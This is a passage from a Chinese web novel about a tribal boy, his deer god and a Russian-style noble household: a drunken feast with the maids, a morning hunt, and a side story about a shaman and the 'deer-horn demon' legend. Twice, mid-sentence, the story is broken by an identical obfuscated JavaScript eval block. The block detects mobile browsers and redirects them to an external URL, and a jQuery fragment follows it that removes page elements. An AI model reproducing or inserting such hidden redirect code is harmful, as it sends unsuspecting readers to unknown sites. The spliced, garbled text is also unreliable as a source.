“每次你们喝酒的时候,我只能看着,我也想喝。”本来葬礼时因为时间紧张,就没来得及狂欢,鹿神心里有些不平衡了。 借着酒劲儿,萨哈良干脆从旁边拿起一个空杯子,往里面倒满了酒。 但里奥疑惑不解的看着他,说:“为什么要多倒一杯酒?” 萨哈良很快就编出来一个理由:“因为我们信仰的鹿神是酒鬼,所以宴席时必须要给他也倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176721|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一杯!” 原本鹿神还想回应他两句,结果里奥也拿起空杯子,倒满了酒,说:“那我也要敬鹿神,敬他治好了伊琳的病,敬他让我们相遇。” 里奥尼德站起身,举起杯子,萨哈良和伊琳娜也站了起来。 “敬鹿神!” 那杯子中满溢而出的酒香让鹿神已经懒得揶揄他们了,他站在原地,眼睛偷偷瞥着酒杯,生怕被萨哈良看到。 主菜刚吃了一点,更多的配菜又端上来了。它们盛在不同的小银碗中。有一些用黄油煎的土豆,被切成均匀的小块,煎得外表焦脆内里绵软。还有糖渍的林间野果,大概是蛇莓、蓝莓和其他的水果,有酸有甜,用来解腻。 “伊琳娜姐姐果然喜欢甜食。”萨哈良看见她一直在吃那些水果。 伊琳娜笑了笑,拿起手帕擦擦嘴角的果汁,说道:“对啊,怎么会有人不喜欢吃甜食呢?” “毕竟她是喝茶都要放糖的人,我记得她总是会放......几块来着?”里奥尼德记不起她喜欢放多少块方糖了。 “三块!不过没有用,明天你就又忘了。”伊琳娜说完,里奥尼德笑了起来。 “其实我有个问题......”萨哈良看了看那些站在旁边服侍的女仆,说道:“为什么女仆姐姐们不和我们一起吃饭呢?” 里奥尼德和伊琳娜互相看了一眼,不知道该如何回答这个问题。 “嗯......这么说吧,她们是我们雇来干活的。”里奥尼德还没想好合适的话来解释。 伊琳娜尝试给萨哈良解答:“其实我们没有想过这个问题,因为生下来的时候就有这个职位在了。” 三个人都喝得晕晕乎乎的,萨哈良斗起胆子说:“那可不可以让她们和我们一起吃?” 里奥尼德看向伊琳娜,显然他没见过这种情况。伊琳娜倒是起了兴趣,她说道:“可以啊!”紧接着,她又站起身,朝着门外的女仆也喊道:“来吧!过来一起吃饭!” 那些女仆倒是都走了过来,但是没有人敢落座。 “女仆姐姐,坐下吃饭啊。”萨哈良试着招呼她们,但是没有人敢动,仍然低着头。 里奥想出个办法,他正色说道:“来吃饭吧,这是来自雇主的命令。” 他就着酒意说出这种严肃话的滑稽样子逗笑了伊琳娜,女仆们终于敢坐到座位上了,但还是低着头,谁也没敢拿起刀叉。 怎么能让提出请求的萨哈良扫兴呢?里奥尼德这么想着,站起身,挨个摆上水晶杯,给她们斟满陈酿的珍贵葡萄酒。 “好啦,里奥,说不定大家喝不习惯酒呢?”善解人意的伊琳娜试着替她们解围,她指着旁边的餐车说:“喝果汁也没关系,大家自取就好。” 不过年纪稍大的女仆长回应了伊琳娜的话:“夫人,其实这帮丫头私下里都会偷偷喝酒的。” 她的话逗笑了里奥尼德,他干脆举起杯子,说:“那我们不如碰杯吧,致你们所有人!” 女仆们终于举起了杯子,原本三人晚宴空荡荡的会客厅变得热闹起来。 伊琳娜有些好奇这些仆从们的故事,她率先提议:“你们要不要介绍一下自己,在庄园工作了这么久,还没有真正认识你们呢。” 最先说话的仍然是女仆长,毕竟她年纪大,胆子也大,猛灌了一口酒后说道:“我来一个海边的渔村,夫人。”她声音略粗,带着浓重的乡音,“父亲和兄弟都是渔民,村里的管事把我送来,说......说庄园里缺人手,比跟着破船出海强。” 她没有再说下去,似乎那杯酒灼烧着她的喉咙,也封住了更久远的故事。 随着几杯酒下肚,大家胆子都提了起来。 先前负责传菜的女仆也缓缓说道:“我来自首都,夫人。”她的口音更接近城市,“在......在一家纺织厂干过三年。后来厂子停了,欠了工钱。母亲病着,听说庄园管吃管住,还有工钱......就签了五年的契。只是没想到会被送到远东,这么远......” 她的话语里更简洁,掩盖了背后的艰辛。 “那我们是老乡啊!”里奥尼德拿起酒,敬了她一杯。 最后,那名在祭祀仪式时哭泣的年轻女仆,她的声音很轻,却异常清晰,带着柔软的腔调,声音颤抖着说了起来: “我的父亲......以前是附近小地主家的记账先生。教过我认字。后来主家败了,卖了地,父亲没了差事,也病死了。我就......来了。” 她的话戛然而止,仿佛所有的故事都已浓缩在这简单的几句话里,然后拿起酒杯,将它一饮而尽,又继续说道:“父亲生病时,有一个伪装成牧师的骗子,说是鹿角妖作祟......他从我家骗走钱,不过最后也被吊死在城门旁了。” 听着这些沉重的故事,萨哈良和鹿神都沉默了。 里奥尼德也不知道说什么,他只好解释鹿角妖的传说:“其实......远东的鹿角妖传说,是从帝国的西方边疆传来的,也就是说......我们这根本没有这种东西。” “更是荒唐了。”鹿神想起那些惨死在河边的鹿,愤愤说道。 好在,里奥尼德及时说了些在军营里听到的酒后笑话,逗笑了那些难过的女仆们。 里奥顺势站到钢琴旁,手指在琴键上按下几个铿锵有力的和弦,那是帝国中最流行的舞曲旋律,它并不高雅,但足够快乐。 他一边弹,一边喊着:“伊琳!带大家过来!萨哈良!快展示你们部族的舞步!” 音乐的力量要比里奥尼德那道无法抗拒的命令有效多了,欢乐瞬间席卷了整个会客厅。伊琳娜最先响应,笑着用银叉轻轻敲击水晶杯,应和着节奏。萨哈良手脚麻利的挪开椅子,跳到了里奥身旁。 三位女仆面面相觑,脸上交织着惊慌和被年轻人们活力所感染的无措。最终,还是女仆长最先被音乐带动,她拉着两人的手站了起来。起初她们的舞步还有些生涩和羞怯,但里奥尼德弹奏的音乐越来越奔放,伊琳娜的节拍也越来越响亮。 渐渐地,女仆长身为渔村女人的泼辣舞步,和那位首都来的细腻动作,一起带着胆怯的年轻女仆,让她不再畏手畏脚。 萨哈良仍然记得那天晚上她们害怕的眼神,还是收敛了一些,生怕部族狂野的舞蹈吓到她们。直到不知喝干了多少桶酒之后,只剩鹿神看着昏睡在沙发和地毯上的人们,壁炉中的火也慢慢熄灭了。 25.山野间的猎物 “砰!” 一声枪响撕裂了早晨的宁静,那些停栖在椴木林中的麻雀应声惊起,朝着四面八方各自飞去,只留下暗自摇晃的枝丫。 睁开眼时,由于睡得太沉,面前陌生的环境让萨哈良心中一惊,甚至有些天旋地转。等再次定睛一看,其实不过仍是在里奥尼德家的客房而已。昨天那座吵人的座钟不知道什么时候已经被女仆们搬走,鹿神正在旁边冥想着。 萨哈良扭过头,清晨的光线还有些暗淡,估计时间尚早,索性继续睡了。 昨晚酒喝得太多,里奥珍藏的美酒即便贪杯也不会觉得难受,趟在软乎的床铺中醒来,更是觉得暖洋洋的。只是不知道什么时候回到的卧室,明明记得失去意识前是坐在沙发上。 也许是因为大家一同经历过生死危机,酒后的狂欢更是让人感到愉悦放松。那些女仆姐姐们也不再对萨哈良感到恐惧,毕竟他可爱的长相确实惹人喜欢,女仆长甚至还问他有没有中意的人,要不要把自己的妹妹介绍给他这样的话。 好像,那些罗刹人其实也挺好相处的,迷迷糊糊时,萨哈良在心里这么想着。 “咚......咚” 房门被轻轻敲响了,鹿神听到这响声,也睁开了眼睛。 “您好,主人邀请您等下到后院的花园。” 门外模糊的声音慢慢传来,是那位年轻的女仆,她的声音也不像先前那样颤抖了。 萨哈良应了一声后,从床上爬了起来。他看到脱下的衣服正平平整整的叠在一旁,换洗的新衬衫也准备好了。 “昨天......我是怎么回到房间的?”萨哈良疑惑的问着鹿神。 鹿神站起身,好像看着不争气的后辈,轻轻说道:“确实像女仆长所说,那些丫头很是能喝。昨天你们玩起游戏,结果你和里奥一直输,就一直喝,最后是被她们搀扶回来的。” 这些记忆好像完全消失了,但萨哈良可不认输:“我还小!本来就没喝过几次酒......” “哈哈,好的,下次玩不过记得喊我。”鹿神笑着和他说道。 趁着萨哈良穿衣服的时候,鹿神问了一个问题。 “我们是不是该走了?最近了解到许多信息,但还是没有其他部族的信息。” 听见鹿神的话,萨哈良竟然感到些许的难过,原来快乐的时光真的转瞬即逝。 “那......等下我和里奥说一声吧。”萨哈良对鹿神说道。 走向后花园的时候,萨哈良忘记收藏室楼下的侧门在哪儿了,只好继续从门厅正门绕出去。经过会客厅,由于昨天晚宴的狼藉已经被女仆长带着另外一位女仆收拾干净了,她们正在擦拭着地板,并且打上一些蜡。 见到萨哈良来,她们也打着招呼。 “您醒啦!要不要喝一杯卡瓦斯醒醒宿醉的酒气?” 女仆长走到餐桌前,倒了一杯红褐色的液体。 “卡瓦斯是什么?”萨哈良没听说过这种东西,但还是接过了杯子。 那位城市来的女仆更了解这些,为萨哈良解答着:“这个是帝国最受欢迎的传统饮料,用面包和水果酿造而成,您可以尝尝看。” 听她这么说,萨哈良干脆一饮而尽。 那褐色的水中有着绵密的气泡,触碰到口腔时立刻就炸开了,刺得舌头微微发麻。但紧接着,面包的香气满溢而出,又一些烘焙过的焦香,随后只剩下水果的甜蜜香味在口中回荡着,宿醉后的晕眩一下子缓解了不少。 见萨哈良好像很喜欢,女仆长又给他倒了一杯,说道:“少校早上起来时也喝了,他一直喜欢这个。” “但怎么感觉......微微有些酒味在里面?”对于萨哈良确实是这样,要是对老酒鬼,这些轻微的酒精早就感觉不到了。 女仆长笑了笑,说:“好像确实有一点,不过没关系的!” 在帝国彪悍的民风里,就连醒酒的饮料都还含有酒精。 和女仆们告别,萨哈良继续向后花园走了。 走出大门,春天清晨的微风让人心情愉悦,也清醒了不少。踩着石子路,也许是认出了萨哈良轻盈的脚步声,马厩里传来了一些骚动的声音。 “好久不见啊,老友。”萨哈良走到马厩前面,轻轻抚摸着马儿的脸颊,突然发现好像这马胖了不少。 鹿神也发现了这一点,也说道:“这马好像胖了啊。” 马儿像是能听见鹿神的话,有些不高兴。但在神灵的威严下,它也是喷了喷鼻子,表示不满。 萨哈良低头看看马食槽中剩下的饲料,才发现是先前小镇旅店厨子用来熬粥的燕麦,没想到里奥尼德给马匹吃这么好的粮食。 “那就难怪了,再吃几天怕是都要走不动路了。”鹿神又继续说道。 马儿像是努力证明着自己的能力,用前蹄刨起了地上的稻草。 春日清晨的后花园不像仪式那天晚上,四处萌芽的绿色让地上的枯草显得有生气了许多。里奥尼德穿着剪裁合身的墨绿色猎装,铜质纽扣的边缘有些微微生锈,但还是擦得锃亮。浅棕色的马裤将腿部的线条衬托得笔直,塞进泛着亚光的高筒皮靴中。 尽管那身猎装并不崭新,但那是久经实战淬炼后的从容。 他的身旁有一个木制的武器架,上面摆着两支步枪。但里奥尼德并没有选择使用步枪,而是拿着一柄短弓。他从箭筒中拿起一支箭,用两指勾住弓弦,再用无名指与中指夹住箭矢,随后拉满。 里奥灰蓝色的眼睛微微眯起,瞄准不远处树桩上的苹果,随后撒放—— 可惜并没有中,苹果旁边散落的箭也表明,他已经练习了许多次。 萨哈良就这么看了一会,直到里奥又试了几次,但仍然没中。有些着急的里奥拿起一旁的步枪,用左手托住,迅速瞄准,右手一扣扳机—— 伴随着枪响,苹果被打碎了。萨哈良本能的眯起眼睛,他看见站在旁边的女仆还捂住了耳朵。 女仆立刻跑上去放了新的苹果,注意到萨哈良朝着他们走来,那名年轻的女仆提醒着里奥尼德。虽然还有些害怕,但已经不那么害羞了,她的嘴角有一丝若有若无的笑意,向萨哈良点头示意。 “哎,萨哈良!怎么样,喝多酒之后不难受吧?”里奥尼德放下手中的枪,走了过来。 萨哈良笑着点点头,说:“没事,很神奇,你的酒喝完了不难受。而且女仆长给我倒那个......什么瓦斯?” “哈哈,那个啊,卡瓦斯,确实有点用。”里奥纠正了萨哈良的发音,随后指着武器架,问道:“怎么样,咱俩上午去打个猎?先练练准头?” 萨哈良已经好久没有打猎了,一看见武器,扭头就把鹿神叮嘱的事情忘到脑后。不过鹿神也忘了,这热衷于游戏人间的神灵又升起了胜负欲,他要看着萨哈良在射击这件事上赢了罗刹鬼们。 “好啊,我刚刚看见你在射那个苹果,让我试试!”萨哈良兴奋的说,里奥马上就把那张短弓递给了他。 里奥给他介绍起这弓:“这弓是我叔父在中亚时带回来的,可能跟你用的那种不太一样。” 萨哈良摩挲着它,黑色漆皮像水一样透亮,附着在树木心材制成的弓身上,末端则是削薄的牛角,上面涂着金漆。握把处贴着牛皮,还雕上精美的纹路。 “怎么样,和部族的弓有什么差别吗?”里奥尼德好奇的问道。 和罗刹人的射法不同,萨哈良用拇指勾住弓弦,像握紧拳头一样拉起。他原本以为这弓的拉力会很重,结果用力过猛,差点摔倒。试完之后,他轻轻放下弓弦,防止空放伤到弓身。 “感觉太轻了,要知道部族里的同龄人经常笑话我力气小。”说再多不如直接开始,萨哈良拿起箭矢,搭在弓上,身体的本能反应让他甚至没怎么瞄准。 里奥尼德还没反应过来,就已经看见箭插在苹果上了,甚至被打飞了出去。 “好......好厉害,能教教我吗?”里奥惊讶的看着萨哈良,现在只想拜他为师。 “好啊!”虚荣心得到极大满足的萨哈良很是开心。 鹿神在一旁也笑着看着他,眼神中充满了欣慰。 少年将短弓递给了里奥尼德,然后手把手教学。由于萨哈良的个子比里奥矮了不少,所以指导的时候只能微微踮起脚尖,原本就不长的裤腿向上提起,露出了脚踝,被旁边的草坪刺得痒痒的。但他沉浸在其中,只是将脚向旁边踢了踢,试图赶开那些在春季到来仍然不打算萌芽的枯草。 “其实我先前练过射箭,但我想学你们的那种方法,可不可以教我?”里奥对萨哈良的射法更感兴趣。 “好啊!”萨哈良说着,伸手掰开里奥的手指,也用拇指勾住弓弦,像握拳一样。少年暖和的双手源源不断的将温度传递到里奥的手上,让他原本在清晨冷风中微微寒颤的身体也温暖了不少。 有了这位经验丰富的老师,里奥又试了几次,虽然仍未射中,但已经能擦着苹果的边缘飞去了。 “真棒!其实我在部族中不算射箭好的,还有点怕教不会你。”萨哈良想起了和阿沙一同比试的场景。 “怎么会呢?”里奥尼德一边说着,一边又射出一箭。随着箭矢撕裂空气的响声,那支箭击中了目标的一角,苹果旋转了几圈后落到地上。 “好!”萨哈良鼓起掌,恭喜里奥已经掌握了部族的射法。 旁边的女仆看他们两个已经看得入迷,忘记跑过去摆苹果了。 “萨哈良,我要感谢你教我。”里奥尼德嘴角微微弯起,眼神中透出温柔的笑意,他接着说:“要不要试试步枪?” 萨哈良愣了下,但看到里奥眼中的热忱,还是决定试试。 “好......好啊!那你教我吧。” 里奥拿起步枪,递到萨哈良手中,说:“这是帝国的制式武器,精度要比猎枪高不少,可以稳定达到五百米。” “五......五百米?”萨哈良知道弓箭时常受限于环境,稳定五百米已经很厉害了。 “是的,当然,其实打猎用这个有点夸张了,不过我也只有这个了。”里奥一边说,一边从腰间的皮制弹药盒里摸出来五发子弹,依次排进弹夹中,然后帮萨哈良按下步枪上的弹药仓。 “来,用左手端平步枪,右手准备放在扳机上。”里奥尼德做出这个动作,示意萨哈良模仿。 但萨哈良有些没明白,他习惯了弓箭的方式,还以为子弹也会像弓箭那样,飞出一个明显的抛物线。 里奥敏锐的发现了这一点,所以他干脆走上前去,将萨哈良环抱在怀中,然后双手握住他的手,帮他摆正动作。 “对......然后一只眼睛眯起来,另一只眼睛盯着准星,将照门-准星-目标物,形成三点一线。”里奥高大的身形吞没了萨哈良小小的影子,他身上昂贵龙涎香的味道透着微微的甘甜,偶尔传来木质的沉稳,又随着冷风变得空灵。轻柔的声音在耳畔悄悄擦过,像是春风吹过林间。 帮萨哈良摆正姿势之后,里奥尼德撤到一旁,保持着克制的距离。 鹿神有些紧张的看着他们两人,可能是担心步枪走火,他此时的表情和旁边的女仆一样。 “砰!” 随着一声枪响,刚刚被里奥的箭矢射中,落到地上的苹果让萨哈良的子弹打碎了。 “好!你真的是天生的射手!”里奥看到这一枪打出去,比萨哈良还要快乐。 “嘿嘿,还是老师教得好!”萨哈良有些不好意思的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191159|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挠了挠头。 他很快发现,罗刹人的这种武器要比弓箭好用了不知道多少,不仅是弹药方便携带,而且几乎是指哪儿打哪儿。 “出发!我们去打猎,我用弓,你用枪,给伊琳打几只兔子吃!”里奥兴奋地开始收拾装备,萨哈良也帮他收了起来。 “伊琳娜姐姐不去吗?”发现早上她一直没出现,萨哈良疑惑的问。 “她大病初愈,让她多睡会吧。” 在马厩中牵出骏马之后,他们从庄园的后门出发。这里并不像大门的乡间小路,而是隐藏在茂密的椴木林中,也许是贵族担心遇袭,用来逃生的。 密林的尽头有是连绵的低矮丘陵,马蹄踏碎山边溪流,发出了清脆声响。山上的树木刚挣脱冬日桎梏,枝头冒出新芽。萨哈良的马紧贴着潮湿的苔藓地面,突然对着某处覆着干枯植物的倒木发出喷鼻声。 林间飘荡着落叶与溪水交融的清新气息,某处传来啄木鸟叩击枯木的笃笃声,仿佛整个森林正在敲击春日的门扉。 “我感觉到这边可能有脚印。”萨哈良跳下马,轻轻拨开落叶,寻找着猎物的踪迹。 里奥尼德看他用这种方式追踪,突然想起了贵族打猎时的样子:“其实我们一般是许多人一同围猎,用猎犬逐渐包围猎物。” 萨哈良当然知道,他说:“我知道,但我们喜欢和猎物一对一搏斗,只猎取需要的数量。” 他的话,像是在为那些被献祭在河边的鹿做辩驳。听到萨哈良的话,鹿神也露出了肯定的笑容。 里奥尼德点点头,他尊重萨哈良的看法。 部族的少年很快定位到了野兔的脚印,他翻身上马,和里奥在树林中继续穿行着。 当马匹攀上半山腰裸露的岩石时,晨雾正从山谷里蒸腾而起。里奥从腰间的取下望远镜,透过镜片可以看见疑似野兔栖息的林间空地。他把望远镜也递给了萨哈良,远处的景象瞬间就出现在了眼前,实在令人感叹。 如果部族有这种工具,可能猎人们就不需要在冬季艰难狩猎了。 里奥往枪膛中压入几颗子弹,铜壳底火在阳光中闪烁如猩红的火星,然后帮萨哈良背到了肩上。 随着风突然转向,带来远处林间动物粪便的青草味道,萨哈良立刻警惕,眼睛盯着四周。 “小心点,我感觉到兔子了。”萨哈良从马上下来,低声说道。 “嗯?你怎么感觉到的?”里奥尼德有些怀疑少年的话。 萨哈良指了指鼻子,说:“我闻见它们粪便的味道了。” “其实靠神力的话,我们能吃好多兔子。”当然,鹿神只是开玩笑而已。 萨哈良摇了摇头,他想证明部族的实力。 不管怎么说,如果没有萨哈良,里奥在林间只能像无头苍蝇一般到处撞,或者守株待兔了。 他们将马匹留在原地,半弯着腰,潜伏在树林的阴影里,地上厚实的针叶吸走了所有声响。萨哈良端起枪,尽管他还没有熟悉步枪的感觉,但还是仔细盯着林间野兔活动的痕迹。 突然,一只雪兔从倒树朽烂出的洞中跃出,由于春季来临,它们早就褪去了在雪地中活动的伪装色,现在棕褐色的毛发与落叶融为一体。 当那只雪兔从林中现身的瞬间,萨哈良听见自己心跳与手指在扳机弹动的声音形成共鸣。枪声撕裂寂静时,惊起的鸟群如同洒向天空的墨点。 “糟了,我没打中!”萨哈良发现自己瞄歪了一点,打在旁边的树枝上了。 里奥尼德为防止萨哈良失手,他手中的短弓早就瞄准好了。就像萨哈良教学的那样,里奥拇指勾起弓弦,握紧拳头,将弓拉成满月。 随着箭矢划破长空,尖锐的声音响彻在寂静的树林中,它穿过了野兔的后腿。那野兔拼尽全力,仿佛用出了不属于自己的力量,朝着山下疾驰而去。 “快追!”两人对视了一眼,异口同声的喊道。 好在萨哈良不仅嗅觉敏锐,视觉更厉害。他们一直追踪着地上的血迹,最终发现垂死的雪兔已经倒在小溪旁,温热血液在水中汩汩流着。萨哈良单膝跪地,拔出腰间的仪祭刀,利落地完成放血仪式。 “说起来,这好像还是仪祭刀到我手里第一次见血呢!”萨哈良有些开心的把小刀放进溪水中清洗。 “所以这把刀是怎么来的?”里奥尼德收起弓矢,和萨哈良说道。 萨哈良扭过头,看着里奥说:“它是来自于一位传奇的女性,这个故事可就说来话长了。” “确实是位传奇的女性,这把刀在阿娜吉手中可是书写出了史诗呢!”鹿神骄傲的扬起头,回忆起仪祭刀在阿娜吉祖母手中上下翻飞的时光。 “那有机会,你一定要讲给我听!”里奥用真诚的眼睛看着萨哈良。 萨哈良点点头,他说:“能在离开之前这样打猎,实在太开心了。” 由于先前没有听他说起接下来的计划,里奥尼德有点疑惑:“你已经准备继续旅程了吗?” 萨哈良这才想起,忘记和里奥提起自己准备出发的安排了,他说:“是的,可能明后天吧,因为这次的事情真的很急。” 少年抬头看了看鹿神,神灵向他点点头。 里奥没有说话,他好像若有所思,像是在计划些什么,或是对萨哈良即将离去而感到难过,不过转瞬就将这些抛到脑后,继续狩猎了。 当正午的阳光照进密林中时,在经验丰富的萨哈良指引下,他们已经打到两只雪兔了。返程时,马鞍后挂着的猎物随着骑行节奏轻轻晃动,散发出热乎乎的腥气。萨哈良回头望去,远山轮廓已在茂密的椴木林中隐匿无踪。 等回到庄园时,伊琳娜正笑着看他们归来,她靠在一个黑色的庞大机器前等待已久了。 26.鹿角妖与鹿中人[番外] (一) “别哭了!这大半夜的,再哭把鹿角妖招来,一口吃了你!” 琥珀海的东岸,有连绵不断的渔村,像植物一般自然生长在礁石旁。那天晚上,年轻的母亲独自一人在家,她两岁的女儿因为高烧哭闹不停。 白天的时候,听从村中老人教的土方子,她先是到独居在村外的老阿姨那里,求来可止小儿夜啼的符咒,挂在女儿的摇篮边。 那老阿姨,没有人知道她何时搬到这边。阿姨性格和蔼可亲,兴许是驻颜有术,她看起来仍像三四十岁出头一样。尤其是村中女人被痛经或者意外怀孕困扰时,她总能想出法子,所以颇受人们欢迎。久而久之,人们都在流传着老阿姨,能“看事儿”的传说。 所谓能“能看事儿”,无非是遇到医生、警察、神父都解决不了的问题时,去找老阿姨,准没错。 但不知道为什么,白天符咒还能起效果,等到了晚上,不光哭闹止不住了,还发起了高烧。这位年轻的妈妈束手无策,村里的医生因为太忙还没到,现在她只能打来井水,一遍又一遍的为女儿擦洗身子降温。 “密林间生出一从玫瑰, 像朝霞般绽放。 我激动的问那玫瑰, 我的爱人是你吗?” 由于时间太久,她轻轻唱起摇篮曲的嗓子也哑了,趴在女儿身边,沉沉睡了过去。 “你这臭婆娘,给老子生出这么个病秧子!还好意思睡觉!” 也许是因为睡的太沉,年轻的妈妈没有注意到她好赌的丈夫正拎着酒瓶,摇摇晃晃的走进屋。这男人看着哭闹的女儿和妻子就气不打一处来,抬起脚将她踹到了一旁。 被丈夫踢到墙边的时候,女人的头撞上了桌角。在一片朦胧之间,年轻母亲看见了墙上挂着的,自己结婚时丈夫亲手制成的鹿皮大衣。她回忆起自己仍是少女的时候,也曾是倍受呵护的女儿。那眼前的醉鬼年轻时,也曾经风流倜傥。 他以花言巧语将少女骗上床,几个月后,许久未至的月经和逐渐隆起的肚子,宣告着新生命即将到来。 村中的伙伴都劝她,到密林中找老阿姨,把孩子打掉。但不知道谁走露了风声,村里一时间谣言四起,慈祥的父亲也因此变得乖戾,为了家族的名声,他逼迫这位可怜的女人嫁给这个男人。 “别哭了!这大半夜的,再哭把鹿角妖招来,一口吃了你!” 眼前那醉鬼丈夫,正歇斯底里的猛晃着女儿的摇篮,试图阻止她的哭闹。看着此情此景,在女人心中,似乎有什么东西已经死去了。 “咚!咚!咚!” 随着一阵急促的敲门声,半掩的房门外探出一个有些秃顶的,中年男人的头。 “太太,是您找我看病吗?” 醉鬼丈夫还沉浸在折磨女儿的快感中,年轻妈妈挣扎着爬起身,摇摇晃晃的走到医生面前,对他说道: “医......医生,是我的女儿,她高烧不退,我想了各种办法,您救救她吧!” 也许是因为刚才的撞击,她扑通一声跪在了地上,泪水也模糊了双眼。 “没事没事,快起来!”医生把急诊箱放在一旁,从里面掏出了他诊疗所用的道具。 那醉鬼见到在村中地位颇高的医生,也知道丢人,安静的坐到了旁边。 医生伸出手,摸了摸女孩因为高烧,红扑扑的小脸,又摸了摸她的脖颈,再把手放回自己的额头。确定高烧之后,他看见盛着井水的木桶,和放在孩子身旁的湿毛巾,对不知所措的年轻妈妈说道: “你的处理办法很好,这样确实能降温。” 女人茫然的看向医生,她累了。 像是通过答案倒推过程,医生几乎没怎么思考就决定了诊疗方案。他打开皮制的袋子,从里面抽出一把锋利的柳叶刀,和一块虽然洗过,但仍然看起来脏兮兮的棉布,扭头又对女人解释说: “这孩子发热又伴着红肿,但脉搏强健。想必是因为血液过多,热性湿性过剩,所以我说你的处理办法很好,但还是需要放血。” 其实医生不管治什么都会指向放血,并用中世纪的□□平衡理论强行做出解释,毕竟他只会这个。 看着女人有些害怕的眼神,他又说道:“哎呀,不用怕,这种疗法已经几百年历史了。” 医生没再多解释,他按住女孩的手臂,轻轻用柳叶刀在上面划出一个小口,然后用手用力挤压伤口的上面,试图控制出血的量。 过了没多会,女孩的脸色慢慢变浅,也不再哭闹,慢慢睡着了。当然,说不定是因为失血过多。 见那女孩的状况有所好转,医生开始收拾他的诊疗道具。重新背起急诊箱后,他提醒着年轻的妈妈: “会不会是被鹿角妖妨着了?你要不明天去找那老阿姨看看去?” 女人没想到医生会提起这事,她空洞的眼神盯着医生的脸,嘴里默默念着: “鹿角妖......鹿角妖......” (二) 雨停了。 最后几滴雨水从杉树的枝桠上滑落,砸在厚厚的苔藓上,发出了沉闷声响。整片山林被洗刷过一遍,空气里弥漫着一种凛冽的,混合着腐烂树叶、湿泥和松针的苦味清香。 灌木丛的叶子还缀着水珠,偶尔有风穿过,便簌簌地落下细碎的光点。雾气尚未完全散去,像一条条灰白的纱带,缠绕在墨绿色的杉树林,让林子的深处显得幽深而神秘。泥土小路被雨水浸成深褐色,泥泞不堪,印着几道不知是野兔还是狐狸留下的蜿蜒足迹。 就在这片浓重的绿与灰之间,树林陡然稀疏了一些,露出一小块空地。空地上立着一间茅草屋。 “啊,天气真不错,很适合修炼!” 从茅草屋中走出一个身形苗条的女人,她对着雾气弥漫的远山伸了个懒腰,又走回屋去。 茅草屋不大,但房顶的茅草盖得很密,所以屋内并没有漏水。房间里简单的摆着张床,正中央放着一张长桌,她时常还在这里为村中的人们看病。 因此房屋内晾晒了许多草药,也有些动物的毛皮和肉干,那些则是病人们给她的酬劳。墙壁上挂着系满五彩布条的皮制法袍,以及一旁做工精致纹饰精美的萨满鼓,一同昭示了她的神秘身份。 女人拿起萨满鼓,走出小屋,对着密林深处敲打了几声,又引吭高歌,发出林间鸟鸣般的声响,召唤着山野的生灵。 没过一会儿,一只长着华丽鹿角的驯鹿就朝着小屋跑了过来。 “好久不见,宝贝,带我去寻找爱人吧。” 几天前,村中的少女们向她讨些能缓解痛经的方子,在和她们叽叽喳喳的闲聊中,她得知了自己在村子里的情人早就出轨了,对方是一位情窦初开的少女。据说,她的情人还把人家肚子搞大了。 身为萨满,至少她想先去看看对方到底还爱不爱自己,再决定如何报复回来。 女人不停敲动着手中的萨满鼓,上面的银铃也随之发出悦耳的清脆声响。驯鹿和着她的鼓声,慢慢坐到了地上,长长的舌头不断舔舐着女人的裙摆。 时间已到,萨满躺在了床上。过了没多会,她的灵魂像蒸发的水汽一般,从躯壳中脱出,最终化作一阵金色的细雨,飘落在驯鹿身上。 被萨满附身的驯鹿穿行在雨后的丛林中。她偶尔停下,并不警觉,只是纯粹地沉浸于自己的世界。驯鹿伸出粗糙而灵活的舌头,卷食石头上苔藓,脖颈的肌肉随之舒缓地牵动。 有时几只蚊虫围绕着她嗡嗡作响,也只是甩动几下耳朵,驱赶这不痛不痒的烦扰。 很快,山林间隐隐出现了爱人的气息。 “你可以啊,那老游商的闺女可水灵了,这都能让你搞到手?” 三名村子里的年轻人沿着雨后的湿滑山路慢慢前行,他们手中的长弓证明着这些人是出来打猎的。 “行什么行?怀孕了!那老头逼着我娶她呢!要不然今天打猎干什么?不就是为了结婚的时候给她做件皮大衣吗!”为首的那名英俊的青年语气轻佻的说道。 身后矮胖的男人脸上浮现出贪婪的笑容,他问那青年:“听说你先前还睡了那个住茅草屋的女人?” “对啊,怎么了?要不介绍给你也试试?我跟你说,可带劲了......” 说到这,三人都放声大笑,在声音在山谷中久久回荡着。 那附身在驯鹿身上的萨满,此时正躲藏在不远处的灌木丛后面。她听到了,她什么都听到了,驯鹿身体充盈的血气让她丧失了身为人类的理性,此刻她只想冲上前去,用她锋利的鹿角顶翻他们。 “那!我看见了!快追!” 萨满的愤怒让她忘记隐藏身形,猎人们看见了她在灌木后的影子。 猎人们将弓箭搭上弦,立刻跟随在密林中狂奔的驯鹿分散开来,试图将她包围。偶尔有人耐不住性子,萨满甚至能听见箭矢从耳畔擦过,那撕裂空气的尖锐声响。 萨满慢慢找到理智,她决定先回去再从长计议,直到她看到在林间空地中,那位落单的年轻猎人,也就是她的爱人。 那英俊的青年仿佛认出了眼前这头驯鹿,他半弯下腰,吸引着驯鹿朝他走去。 与恋人重逢和遭到背叛的情感交织在一起,她也低下头,蹄子轻轻落在地上,慢 